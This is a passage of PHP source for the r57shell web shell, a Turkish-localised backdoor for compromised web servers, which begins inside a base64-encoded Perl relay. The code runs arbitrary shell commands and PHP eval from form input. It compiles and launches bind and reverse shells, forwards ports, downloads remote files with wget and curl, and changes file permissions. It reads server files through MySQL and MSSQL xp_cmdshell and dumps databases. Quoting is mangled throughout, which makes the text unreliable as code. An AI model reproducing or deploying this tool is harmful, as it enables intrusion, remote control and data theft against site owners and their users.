m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=\;
$c1 = \PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2
JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l
lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW
FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L
3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr
J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR
oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj
xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO
i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv
dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB
ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2
hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==\;
$c2 = \PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh
IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
ybmV0LS0+\;
echo $head;
echo \_/head_\;
if(empty($_POST[\cmd\])) {
$serv = array(127,192,172,10);
$addr=@explode(\.\, $_SERVER[\SERVER_ADDR\]);
$current_version = str_replace(\.\,\\,$version);
if (!in_array($addr[0], $serv)) {
@print \\;
@readfile (\\);}}
echo \_body bgcolor=\#e4e0d8\__table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000_
_tr__td bgcolor=#cccccc width=160__font face=Verdana size=2_\.ws(1).\
_font face=Webdings size=6__b_!_/b__/font__b_\.ws(2).\r57 TR \.$version.\_/b_
_/font__/td__td bgcolor=#cccccc__font face=Verdana size=-2_\;
echo ws(2);
echo \_b_\.date (\d-m-Y H:i:s\).\_/b_\;
echo ws(2).$lb.\ _a href=\.$_SERVER[\PHP_SELF\].\?phpinfo title=\\\\.$lang[$language.\_text46\].\\\\__b_phpinfo_/b__/a_ \.$rb;
echo ws(2).$lb.\ _a href=\.$_SERVER[\PHP_SELF\].\?phpini title=\\\\.$lang[$language.\_text47\].\\\\__b_php.ini_/b__/a_ \.$rb;
echo ws(2).$lb.\ _a href=\.$_SERVER[\PHP_SELF\].\?cpu title=\\\\.$lang[$language.\_text50\].\\\\__b_cpu_/b__/a_ \.$rb;
echo ws(2).$lb.\ _a href=\.$_SERVER[\PHP_SELF\].\?mem title=\\\\.$lang[$language.\_text51\].\\\\__b_mem_/b__/a_ \.$rb;
echo ws(2).$lb.\ _a href=\.$_SERVER[\PHP_SELF\].\?tmp title=\\\\.$lang[$language.\_text48\].\\\\__b_tmp_/b__/a_ \.$rb;
echo ws(2).$lb.\ _a href=\.$_SERVER[\PHP_SELF\].\?delete title=\\\\.$lang[$language.\_text49\].\\\\__b_delete_/b__/a_ \.$rb.\_br_\;
echo ws(2);
echo (($safe_mode)?(\Guvenlik: _b__font color=green_Acik_/font__/b_\):(\Guvenlik: _b__font color=red_Kapali_/font__/b_\));
echo ws(2);
echo \PHP version: _b_\.@phpversion().\_/b_\;
$curl_on = @function_exists(\curl_version\);
echo ws(2);
echo \cURL: \.(($curl_on)?(\_b__font color=green_Acik_/font__/b_\):(\_b__font color=red_Kapali_/font__/b_\));
echo ws(2);
echo \MySQL: _b_\;
$mysql_on = @function_exists(\mysql_connect\);
if($mysql_on){
echo \_font color=green_Acik_/font__/b_\; } else { echo \_font color=red_Kapali_/font__/b_\; }
echo ws(2);
echo \MSSQL: _b_\;
$mssql_on = @function_exists(\mssql_connect\);
if($mssql_on){echo \_font color=green_Acik_/font__/b_\;}else{echo \_font color=red_Kapali_/font__/b_\;}
echo ws(2);
echo \PostgreSQL: _b_\;
$pg_on = @function_exists(\pg_connect\);
if($pg_on){echo \_font color=green_Acik_/font__/b_\;}else{echo \_font color=red_Kapali_/font__/b_\;}
echo ws(2);
echo \Oracle: _b_\;
$ora_on = @function_exists(\ocilogon\);
if($ora_on){echo \_font color=green_Acik_/font__/b_\;}else{echo \_font color=red_Kapali_/font__/b_\;}
echo \_br_\.ws(2);
echo \Basarisiz Fonfsiyonlar : _b_\;
if(\\==($df=@ini_get(\disable_functions\))){echo \_font color=green_YOK_/font__/b_\;}else{echo \_font color=red_$df_/font__/b_\;}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
echo \_br_\.ws(2).\Harddisk Kullanilmayan : _b_\.view_size($free).\_/b_ Harddisk Toplam : _b_\.view_size($all).\_/b_\;
echo \_/font__/td__/tr__table_
_table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000_
_tr__td align=right width=100_\;
echo $font;
if(!$windows){
echo \_font color=blue__b_uname -a :\.ws(1).\_br_sysctl :\.ws(1).\_br_$OSTYPE :\.ws(1).\_br_Server :\.ws(1).\_br_id :\.ws(1).\_br_pwd :\.ws(1).\_/b__/font__br_\;
echo \_/td__td_\;
echo \_font face=Verdana size=-2 color=red__b_\;
$uname = ex(\uname -a\);
echo((!empty($uname))?(ws(3).@substr($uname,0,120).\_br_\):(ws(3).@substr(@php_uname(),0,120).\_br_\));
if(!$safe_mode){
$bsd1 = ex(\sysctl -n kern.ostype\);
$bsd2 = ex(\sysctl -n kern.osrelease\);
$lin1 = ex(\sysctl -n kernel.ostype\);
$lin2 = ex(\sysctl -n kernel.osrelease\);
}
if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = \$bsd1 $bsd2\; }
else if (!empty($lin1)&&!empty($lin2)) {$sysctl = \$lin1 $lin2\; }
else { $sysctl = \-\; }
echo ws(3).$sysctl.\_br_\;
echo ws(3).ex(\echo $OSTYPE\).\_br_\;
echo ws(3).@substr($SERVER_SOFTWARE,0,120).\_br_\;
$id = ex(\id\);
echo((!empty($id))?(ws(3).$id.\_br_\):(ws(3).\user=\.@get_current_user().\ uid=\.@getmyuid().\ gid=\.@getmygid().\_br_\));
echo ws(3).$dir;
echo \_/b__/font_\;
}
else
{
echo \_font color=Blue__b_Isletim Sistemi\.ws(1).\_br_Server :\.ws(1).\_br_Kullanici:\.ws(1).\_br_dizin :\.ws(1).\_/b__/font__br_\;
echo \_/td__td_\;
echo \_font face=Verdana size=-2 color=red__b_\;
echo ws(3).@substr(@php_uname(),0,120).\_br_\;
echo ws(3).@substr($SERVER_SOFTWARE,0,120).\_br_\;
echo ws(3).@get_current_user().\_br_\;
echo ws(3).$dir.\_br_\;
echo \_/font_\;
}
echo \_/font_\;
echo \_/td__/tr__/table_\;
if(empty($c1)||empty($c2)) { die(); }
$f = \_br_\;
$f .= base64_decode($c1);
$f .= base64_decode($c2);
if(!empty($_POST[\cmd\]) && $_POST[\cmd\] == \find_text\)
{
$_POST[\cmd\] = \find \.$_POST[\s_dir\].\ -name \\\\.$_POST[\s_mask\].\\\\ | xargs grep -E \\\\.$_POST[\s_text\].\\\\\;
}
if(!empty($_POST[\cmd\]) && $_POST[\cmd\]==\ch_\)
{
switch($_POST[\what\])
{
case \own\:
@chown($_POST[\param1\],$_POST[\param2\]);
break;
case \grp\:
@chgrp($_POST[\param1\],$_POST[\param2\]);
break;
case \mod\:
@chmod($_POST[\param1\],intval($_POST[\param2\], 8));
break;
}
$_POST[\cmd\]=\\;
}
if(!empty($_POST[\cmd\]) && $_POST[\cmd\]==\mk\)
{
switch($_POST[\what\])
{
case \file\:
if($_POST[\action\] == \create\)
{
if(file_exists($_POST[\mk_name\]) || !$file=@fopen($_POST[\mk_name\],\w\)) { echo ce($_POST[\mk_name\]); $_POST[\cmd\]=\\; }
else {
fclose($file);
$_POST[\e_name\] = $_POST[\mk_name\];
$_POST[\cmd\]=\edit_file\;
echo \_table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000__tr__td bgcolor=#cccccc__div align=center__font face=Verdana size=-2__b_\.$lang[$language.\_text61\].\_/b__/font__/div__/td__/tr__/table_\;
}
}
else if($_POST[\action\] == \delete\)
{
if(unlink($_POST[\mk_name\])) echo \_table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000__tr__td bgcolor=#cccccc__div align=center__font face=Verdana size=-2__b_\.$lang[$language.\_text63\].\_/b__/font__/div__/td__/tr__/table_\;
$_POST[\cmd\]=\\;
}
break;
case \dir\:
if($_POST[\action\] == \create\){
if(mkdir($_POST[\mk_name\]))
{
$_POST[\cmd\]=\\;
echo \_table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000__tr__td bgcolor=#cccccc__div align=center__font face=Verdana size=-2__b_\.$lang[$language.\_text62\].\_/b__/font__/div__/td__/tr__/table_\;
}
else { echo ce($_POST[\mk_name\]); $_POST[\cmd\]=\\; }
}
else if($_POST[\action\] == \delete\){
if(rmdir($_POST[\mk_name\])) echo \_table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000__tr__td bgcolor=#cccccc__div align=center__font face=Verdana size=-2__b_\.$lang[$language.\_text64\].\_/b__/font__/div__/td__/tr__/table_\;
$_POST[\cmd\]=\\;
}
break;
}
}
if(!empty($_POST[\cmd\]) && $_POST[\cmd\]==\edit_file\)
{
if(!$file=@fopen($_POST[\e_name\],\r+\)) { $only_read = 1; @fclose($file); }
if(!$file=@fopen($_POST[\e_name\],\r\)) { echo re($_POST[\e_name\]); $_POST[\cmd\]=\\; }
else {
echo $table_up3;
echo $font;
echo \_form name=save_file method=post_\;
echo ws(3).\_b_\.$_POST[\e_name\].\_/b_\;
echo \_div align=center__textarea name=e_text cols=121 rows=24_\;
echo @htmlspecialchars(@fread($file,@filesize($_POST[\e_name\])));
fclose($file);
echo \_/textarea_\;
echo \_input type=hidden name=e_name value=\.$_POST[\e_name\].\_\;
echo \_input type=hidden name=dir value=\.$dir.\_\;
echo \_input type=hidden name=cmd value=save_file_\;
echo (!empty($only_read)?(\_br__br_\.$lang[$language.\_text44\]):(\_br__br__input type=submit name=submit value=\\\ \.$lang[$language.\_butt10\].\ \\\_\));
echo \_/div_\;
echo \_/font_\;
echo \_/form_\;
echo \_/td__/tr__/table_\;
exit();
}
}
if(!empty($_POST[\cmd\]) && $_POST[\cmd\]==\save_file\)
{
if(!$file=@fopen($_POST[\e_name\],\w\)) { echo we($_POST[\e_name\]); }
else {
@fwrite($file,$_POST[\e_text\]);
@fclose($file);
$_POST[\cmd\]=\\;
echo \_table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000__tr__td bgcolor=#cccccc__div align=center__font face=Verdana size=-2__b_\.$lang[$language.\_text45\].\_/b__/font__/div__/td__/tr__/table_\;
}
}
if (!empty($_POST[\port\])&&!empty($_POST[\bind_pass\])&&($_POST[\use\]==\C\))
{
cf(\/tmp/bd.c\,$port_bind_bd_c);
$blah = ex(\gcc -o /tmp/bd /tmp/bd.c\);
@unlink(\/tmp/bd.c\);
$blah = ex(\/tmp/bd \.$_POST[\port\].\ \.$_POST[\bind_pass\].\ &\);
$_POST[\cmd\]=\ps -aux | grep bd\;
}
if (!empty($_POST[\port\])&&!empty($_POST[\bind_pass\])&&($_POST[\use\]==\Perl\))
{
cf(\/tmp/bdpl\,$port_bind_bd_pl);
$p2=which(\perl\);
if(empty($p2)) $p2=\perl\;
$blah = ex($p2.\ /tmp/bdpl \.$_POST[\port\].\ &\);
$_POST[\cmd\]=\ps -aux | grep bdpl\;
}
if (!empty($_POST[\ip\]) && !empty($_POST[\port\]) && ($_POST[\use\]==\Perl\))
{
cf(\/tmp/back\,$back_connect);
$p2=which(\perl\);
if(empty($p2)) $p2=\perl\;
$blah = ex($p2.\ /tmp/back \.$_POST[\ip\].\ \.$_POST[\port\].\ &\);
$_POST[\cmd\]=\echo \\\Now script try connect to \.$_POST[\ip\].\ port \.$_POST[\port\].\ ...\\\\;
}
if (!empty($_POST[\ip\]) && !empty($_POST[\port\]) && ($_POST[\use\]==\C\))
{
cf(\/tmp/back.c\,$back_connect_c);
$blah = ex(\gcc -o /tmp/backc /tmp/back.c\);
@unlink(\/tmp/back.c\);
$blah = ex(\/tmp/backc \.$_POST[\ip\].\ \.$_POST[\port\].\ &\);
$_POST[\cmd\]=\echo \\\Now script try connect to \.$_POST[\ip\].\ port \.$_POST[\port\].\ ...\\\\;
}
if (!empty($_POST[\local_port\]) && !empty($_POST[\remote_host\]) && !empty($_POST[\remote_port\]) && ($_POST[\use\]==\Perl\))
{
cf(\/tmp/dp\,$datapipe_pl);
$p2=which(\perl\);
if(empty($p2)) $p2=\perl\;
$blah = ex($p2.\ /tmp/dp \.$_POST[\local_port\].\ \.$_POST[\remote_host\].\ \.$_POST[\remote_port\].\ &\);
$_POST[\cmd\]=\ps -aux | grep dp\;
}
if (!empty($_POST[\local_port\]) && !empty($_POST[\remote_host\]) && !empty($_POST[\remote_port\]) && ($_POST[\use\]==\C\))
{
cf(\/tmp/dpc.c\,$datapipe_c);
$blah = ex(\gcc -o /tmp/dpc /tmp/dpc.c\);
@unlink(\/tmp/dpc.c\);
$blah = ex(\/tmp/dpc \.$_POST[\local_port\].\ \.$_POST[\remote_port\].\ \.$_POST[\remote_host\].\ &\);
$_POST[\cmd\]=\ps -aux | grep dpc\;
}
if (!empty($_POST[\alias\])){ foreach ($aliases as $alias_name=_$alias_cmd) { if ($_POST[\alias\] == $alias_name){$_POST[\cmd\]=$alias_cmd;}}}
if (!empty($HTTP_POST_FILES[\userfile\][\name\]))
{
if(isset($_POST[\nf1\]) && !empty($_POST[\new_name\])) { $nfn = $_POST[\new_name\]; }
else { $nfn = $HTTP_POST_FILES[\userfile\][\name\]; }
@copy($HTTP_POST_FILES[\userfile\][\tmp_name\],
$_POST[\dir\].\/\.$nfn)
or print(\_font color=red face=Fixedsys__div align=center_Error uploading file \.$HTTP_POST_FILES[\userfile\][\name\].\_/div__/font_\);
}
if (!empty($_POST[\with\]) && !empty($_POST[\rem_file\]) && !empty($_POST[\loc_file\]))
{
switch($_POST[\with\])
{
case wget:
$_POST[\cmd\] = which(\wget\).\ \.$_POST[\rem_file\].\ -O \.$_POST[\loc_file\].\\;
break;
case fetch:
$_POST[\cmd\] = which(\fetch\).\ -p \.$_POST[\rem_file\].\ -o \.$_POST[\loc_file\].\\;
break;
case lynx:
$_POST[\cmd\] = which(\lynx\).\ -source \.$_POST[\rem_file\].\ _ \.$_POST[\loc_file\].\\;
break;
case links:
$_POST[\cmd\] = which(\links\).\ -source \.$_POST[\rem_file\].\ _ \.$_POST[\loc_file\].\\;
break;
case GET:
$_POST[\cmd\] = which(\GET\).\ \.$_POST[\rem_file\].\ _ \.$_POST[\loc_file\].\\;
break;
case curl:
$_POST[\cmd\] = which(\curl\).\ \.$_POST[\rem_file\].\ -o \.$_POST[\loc_file\].\\;
break;
}
}
echo $table_up3;
if (empty($_POST[\cmd\])&&!$safe_mode) { $_POST[\cmd\]=($windows)?(\dir\):(\ls -lia\); }
else if(empty($_POST[\cmd\])&&$safe_mode){ $_POST[\cmd\]=\safe_dir\; }
echo $font.$lang[$language.\_text1\].\: _b_\.$_POST[\cmd\].\_/b__/font__/td__/tr__tr__td__b__div align=center__textarea name=report cols=121 rows=15_\;
if($safe_mode)
{
switch($_POST[\cmd\])
{
case \safe_dir\:
$d=@dir($dir);
if ($d)
{
while (false!==($file=$d-_read()))
{
if ($file==\.\ || $file==\..\) continue;
@clearstatcache();
list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if($windows){
echo date(\d.m.Y H:i\,$mtime);
if(@is_dir($file)) echo \ _DIR_ \; else printf(\% 7s \,$size);
}
else{
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode.\ \;
echo perms(@fileperms($file));
printf(\% 4d % 9s % 9s %7s \,$nlink,$owner[\name\],$grgid[\name\],$size);
echo date(\d.m.Y H:i \,$mtime);
}
echo \$file\\n\;
}
$d-_close();
}
else echo $lang[$language._text29];
break;
case \safe_file\:
if(@is_file($_POST[\file\]))
{
$file = @file($_POST[\file\]);
if($file)
{
$c = @sizeof($file);
for($i=0;$i_$c;$i++) { echo htmlspecialchars($file[$i]); }
}
else echo $lang[$language._text29];
}
else echo $lang[$language._text31];
break;
case \test1\:
$ci = @curl_init(\file://\.$_POST[\test1_file\].\\);
$cf = @curl_exec($ci);
echo $cf;
break;
case \test2\:
@include($_POST[\test2_file\]);
break;
case \test3\:
if(!isset($_POST[\test3_port\])||empty($_POST[\test3_port\])) { $_POST[\test3_port\] = \3306\; }
$db = @mysql_connect(\localhost:\.$_POST[\test3_port\],$_POST[\test3_ml\],$_POST[\test3_mp\]);
if($db)
{
if(@mysql_select_db($_POST[\test3_md\],$db))
{
$sql = \DROP TABLE IF EXISTS temp_r57_table;\;
@mysql_query($sql);
$sql = \CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );\;
@mysql_query($sql);
$sql = \LOAD DATA INFILE \\\\.$_POST[\test3_file\].\\\\ INTO TABLE temp_r57_table;\;
@mysql_query($sql);
$sql = \SELECT * FROM temp_r57_table;\;
$r = @mysql_query($sql);
while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
$sql = \DROP TABLE IF EXISTS temp_r57_table;\;
@mysql_query($sql);
}
else echo \[-] HATA! Database Secilemedi\;
@mysql_close($db);
}
else echo \[-] HATA! MysQl Server ile baglanti Kurulamiyor\;
break;
case \test4\:
if(!isset($_POST[\test4_port\])||empty($_POST[\test4_port\])) { $_POST[\test4_port\] = \1433\; }
$db = @mssql_connect(\localhost,\.$_POST[\test4_port\],$_POST[\test4_ml\],$_POST[\test4_mp\]);
if($db)
{
if(@mssql_select_db($_POST[\test4_md\],$db))
{
@mssql_query(\drop table r57_temp_table\,$db);
@mssql_query(\create table r57_temp_table ( string VARCHAR (500) NULL)\,$db);
@mssql_query(\insert into r57_temp_table EXEC master.dbo.xp_cmdshell \\.$_POST[\test4_file\].\\\,$db);
$res = mssql_query(\select * from r57_temp_table\,$db);
while(($row=@mssql_fetch_row($res)))
{
echo $row[0].\\\r\\n\;
}
@mssql_query(\drop table r57_temp_table\,$db);
}
else echo \[-] HATA! Database Secilemedi\;
@mssql_close($db);
}
else echo \[-] HATA! MysQl Server ile baglanti Kurulamiyor\;
break;
}
}
else if(($_POST[\cmd\]!=\php_eval\)&&($_POST[\cmd\]!=\mysql_dump\)&&($_POST[\cmd\]!=\db_show\)&&($_POST[\cmd\]!=\db_query\)){
$cmd_rep = ex($_POST[\cmd\]);
if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,\d\,\w\)).\\\n\; }
else { echo @htmlspecialchars($cmd_rep).\\\n\; }}
if ($_POST[\cmd\]==\php_eval\){
$eval = @str_replace(\_?\,\\,$_POST[\php_eval\]);
$eval = @str_replace(\?_\,\\,$eval);
@eval($eval);}
if ($_POST[\cmd\]==\db_show\)
{
switch($_POST[\db\])
{
case \MySQL\:
if(empty($_POST[\db_port\])) { $_POST[\db_port\] = \3306\; }
$db = @mysql_connect(\localhost:\.$_POST[\db_port\],$_POST[\mysql_l\],$_POST[\mysql_p\]);
if($db)
{
$res=@mysql_query(\SHOW DATABASES\, $db);
while(($row=@mysql_fetch_row($res)))
{
echo \[+] \.$row[0].\\\r\\n\;
if(isset($_POST[\st\])){
$res2 = @mysql_query(\SHOW TABLES FROM \.$row[0],$db);
while(($row2=@mysql_fetch_row($res2)))
{
echo \ | - \.$row2[0].\\\r\\n\;
if(isset($_POST[\sc\]))
{
$res3 = @mysql_query(\SHOW COLUMNS FROM \.$row[0].\.\.$row2[0],$db);
while(($row3=@mysql_fetch_row($res3))) { echo \ | - \.$row3[0].\\\r\\n\; }
}
}
}
}
@mysql_close($db);
}
else echo \[-] HATA! MySQL Server ile Baglanti Kurulamiyor...\;
break;
case \MSSQL\:
if(empty($_POST[\db_port\])) { $_POST[\db_port\] = \1433\; }
$db = @mssql_connect(\localhost,\.$_POST[\db_port\],$_POST[\mysql_l\],$_POST[\mysql_p\]);
if($db)
{
$res=@mssql_query(\sp_databases\, $db);
while(($row=@mssql_fetch_row($res)))
{
echo \[+] \.$row[0].\\\r\\n\;
if(isset($_POST[\st\])){
@mssql_select_db($row[0]);
$res2 = @mssql_query(\sp_tables\,$db);
while(($row2=@mssql_fetch_array($res2)))
{
if($row2[\TABLE_TYPE\] == \TABLE\ && $row2[\TABLE_NAME\] != \dtproperties\)
{
echo \ | - \.$row2[\TABLE_NAME\].\\\r\\n\;
if(isset($_POST[\sc\]))
{
$res3 = @mssql_query(\sp_columns \.$row2[2],$db);
while(($row3=@mssql_fetch_array($res3))) { echo \ | - \.$row3[\COLUMN_NAME\].\\\r\\n\; }
}
}
}
}
}
@mssql_close($db);
}
else echo \[-] HATA! MysQl Server ile baglanti Kurulamiyor\;
break;
case \PostgreSQL\:
if(empty($_POST[\db_port\])) { $_POST[\db_port\] = \5432\; }
$str = \host=\localhost\ port=\\.$_POST[\db_port\].\\ user=\\.$_POST[\mysql_l\].\\ password=\\.$_POST[\mysql_p\].\\ dbname=\\.$_POST[\mysql_db\].\\\;
$db = @pg_connect($str);
if($db)
{
$res=@pg_query($db,\SELECT datname FROM pg_database WHERE datistemplate=\f\\);
while(($row=@pg_fetch_row($res)))
{
echo \[+] \.$row[0].\\\r\\n\;
}
@pg_close($db);
}
else echo \[-]HATA! MysQl Server ile baglanti Kurulamiyor\;
break;
}
}
if ($_POST[\cmd\]==\mysql_dump\)
{
if(isset($_POST[\dif\])) { $fp = @fopen($_POST[\dif_name\], \w\); }
if((!empty($_POST[\dif\])&&$fp)||(empty($_POST[\dif\]))){
$sqh = \# homepage: http://\\r\\n\;
$sqh .= \# ---------------------------------\\r\\n\;
$sqh .= \# date : \.date (\j F Y g:i\).\\\r\\n\;
$sqh .= \# database : \.$_POST[\mysql_db\].\\\r\\n\;
$sqh .= \# table : \.$_POST[\mysql_tbl\].\\\r\\n\;
$sqh .= \# ---------------------------------\\r\\n\\r\\n\;
switch($_POST[\db\]){
case \MySQL\:
if(empty($_POST[\db_port\])) { $_POST[\db_port\] = \3306\; }
$db = @mysql_connect(\localhost:\.$_POST[\db_port\],$_POST[\mysql_l\],$_POST[\mysql_p\]);
if($db)
{
if(@mysql_select_db($_POST[\mysql_db\],$db))
{
$sql1 = \# MySQL dump created by r57shell\\r\\n\;
$sql1 .= $sqh;
$res = @mysql_query(\SHOW CREATE TABLE `\.$_POST[\mysql_tbl\].\`\, $db);
$row = @mysql_fetch_row($res);
$sql1 .= $row[1].\\\r\\n\\r\\n\;
$sql1 .= \# ---------------------------------\\r\\n\\r\\n\;
$sql2 = \\;
$res = @mysql_query(\SELECT * FROM `\.$_POST[\mysql_tbl\].\`\, $db);
if (@mysql_num_rows($res) _ 0) {
while (($row = @mysql_fetch_assoc($res))) {
$keys = @implode(\`, `\, @array_keys($row));
$values = @array_values($row);
foreach($values as $k=_$v) {$values[$k] = addslashes($v);}
$values = @implode(\\, \\, $values);
$sql2 .= \INSERT INTO `\.$_POST[\mysql_tbl\].\` (`\.$keys.\`) VALUES (\\.htmlspecialchars($values).\\);\\r\\n\;
}
$sql2 .= \\\r\\n# ---------------------------------\;
}
if(!empty($_POST[\dif\])&&$fp) { @fputs($fp,$sql1.$sql2); }
else { echo $sql1.$sql2; }
}
else echo \[-] HATA! Database Secilemedi\;
@mysql_close($db);
}
else echo \[-] HATA! MysQl Server ile baglanti Kurulamiyor\;
break;
case \MSSQL\:
if(empty($_POST[\db_port\])) { $_POST[\db_port\] = \1433\; }
$db = @mssql_connect(\localhost,\.$_POST[\db_port\],$_POST[\mysql_l\],$_POST[\mysql_p\]);
if($db)
{
if(@mssql_select_db($_POST[\mysql_db\],$db))
{
$sql1 = \# MSSQL dump created by r57shell\\r\\n\;
$sql1 .= $sqh;
$sql2 = \\;
$res = @mssql_query(\SELECT * FROM \.$_POST[\mysql_tbl\].\\, $db);
if (@mssql_num_rows($res) _ 0) {
while (($row = @mssql_fetch_assoc($res))) {
$keys = @implode(\, \, @array_keys($row));
$values = @array_values($row);
foreach($values as $k=_$v) {$values[$k] = addslashes($v);}
$values = @implode(\\, \\, $values);
$sql2 .= \INSERT INTO \.$_POST[\mysql_tbl\].\ (\.$keys.\) VALUES (\\.htmlspecialchars($values).\\);\\r\\n\;
}
$sql2 .= \\\r\\n# ---------------------------------\;
}
if(!empty($_POST[\dif\])&&$fp) { @fputs($fp,$sql1.$sql2); }
else { echo $sql1.$sql2; }
}
